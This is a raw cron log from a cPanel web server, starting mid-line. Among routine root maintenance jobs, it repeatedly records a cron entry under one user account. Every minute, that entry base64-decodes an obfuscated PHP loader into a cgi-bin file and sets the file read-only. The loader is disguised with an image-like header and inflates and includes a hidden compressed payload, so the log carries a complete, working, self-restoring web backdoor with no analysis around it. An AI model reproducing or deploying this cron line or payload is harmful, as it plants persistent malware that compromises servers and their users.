JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:01:01 server CROND[17774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:01:01 server run-parts(/etc/cron.hourly)[17771]: starting 0anacron
Sep  9 06:01:01 server run-parts(/etc/cron.hourly)[17794]: finished 0anacron
Sep  9 06:02:01 server CROND[18147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:02:01 server CROND[18148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:02:01 server CROND[18149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:03:01 server CROND[18617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:03:01 server CROND[18618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:03:01 server CROND[18619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:04:01 server CROND[18993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:04:01 server CROND[18994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:04:01 server CROND[18995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:05:01 server CROND[19372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:05:01 server CROND[19374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:05:01 server CROND[19375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:05:01 server CROND[19377]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:05:01 server CROND[19379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:05:01 server CROND[19382]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 06:05:01 server CROND[19378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:05:01 server CROND[19387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:06:01 server CROND[20225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:06:01 server CROND[20226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:06:01 server CROND[20227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:07:01 server CROND[20588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:07:01 server CROND[20589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:07:01 server CROND[20590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:08:01 server CROND[21109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:08:01 server CROND[21110]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:08:01 server CROND[21111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:09:01 server CROND[21537]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 06:09:01 server CROND[21538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:09:01 server CROND[21539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:09:01 server CROND[21543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:10:01 server CROND[22005]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 06:10:01 server CROND[22006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:10:01 server CROND[22007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:10:01 server CROND[22010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 06:10:01 server CROND[22011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 06:10:01 server CROND[22009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:10:01 server CROND[22008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 06:10:01 server CROND[22013]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 06:11:01 server CROND[22975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:11:01 server CROND[22976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:11:01 server CROND[22977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:12:01 server CROND[23375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:12:01 server CROND[23377]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 06:12:01 server CROND[23378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:12:01 server CROND[23379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 06:13:01 server CROND[23851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 06:13:01 server CROND[23852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 06:13:01 server CROND[23853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
